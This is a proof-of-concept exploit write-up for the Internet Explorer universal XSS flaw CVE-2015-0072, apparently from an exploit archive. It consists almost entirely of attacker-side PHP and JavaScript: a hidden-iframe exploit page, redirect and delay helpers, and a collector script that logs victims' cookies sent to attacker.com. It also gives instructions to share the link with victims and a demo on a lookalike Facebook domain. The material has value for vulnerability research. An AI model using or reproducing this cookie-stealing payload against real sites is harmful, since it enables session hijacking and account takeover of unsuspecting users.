Microsoft Internet Explorer Universal XSS Proof Of Concept

`Cookie hijacking: Internet Explorer UXSS (CVE-2015-0072)  
  
Host below files on webserver (attacker.com) and share the exploit link with victims,  
  
exploit.php --- exploit link (Share with victim)  
  
redirect.php --- Script to redirect on target page (target page should not contain X-Frame-Options or it will fail)  
  
delay.php --- Script to add delay  
  
collector.php --- Script to collect hijacked cookie  
  
log.txt --- Collected cookies will be stored in this text file  
  
-------------------------------------exploit.php-----------------------------------  
<iframe src="redirect.php" style="display:none"></iframe>  
<iframe src="https://target.com/" style="display:none"></iframe>  
<script>  
top[0].eval('_=top[1];with(new XMLHttpRequest)open("get","http://attacker.com/delay.php",false),send();_.location="javascript:bkp=\'http://attacker.com/collector.php?\'+document.cookie;alert(bkp);window.location(bkp);"');  
</script>  
--------------------------------------------------------------------------------------  
  
-------------------------------------redirect.php-----------------------------------  
<?php   
header("Location: https://target.com/");   
exit();   
?>  
--------------------------------------------------------------------------------------  
  
-------------------------------------delay.php-----------------------------------  
<?php   
sleep(15);   
echo 'Bhdresh';   
exit();   
?>  
--------------------------------------------------------------------------------------  
  
-------------------------------------collector.php-----------------------------------  
<?php   
$f = fopen("log.txt", 'a');   
fwrite($f, $_SERVER["REQUEST_URI"]."\n");   
fclose($f);   
header("Location: http://www.youtube.com/");  
?>  
  
--------------------------------------------------------------------------------------  
  
-------------------------------------log.txt-----------------------------------  
- Create a file as log.txt and modify the permissions (chmod 777 log.txt)  
--------------------------------------------------------------------------------------  
Demo: facabook.net16.net/exploit.php  
Reference: http://innerht.ml/blog/ie-uxss.html  
`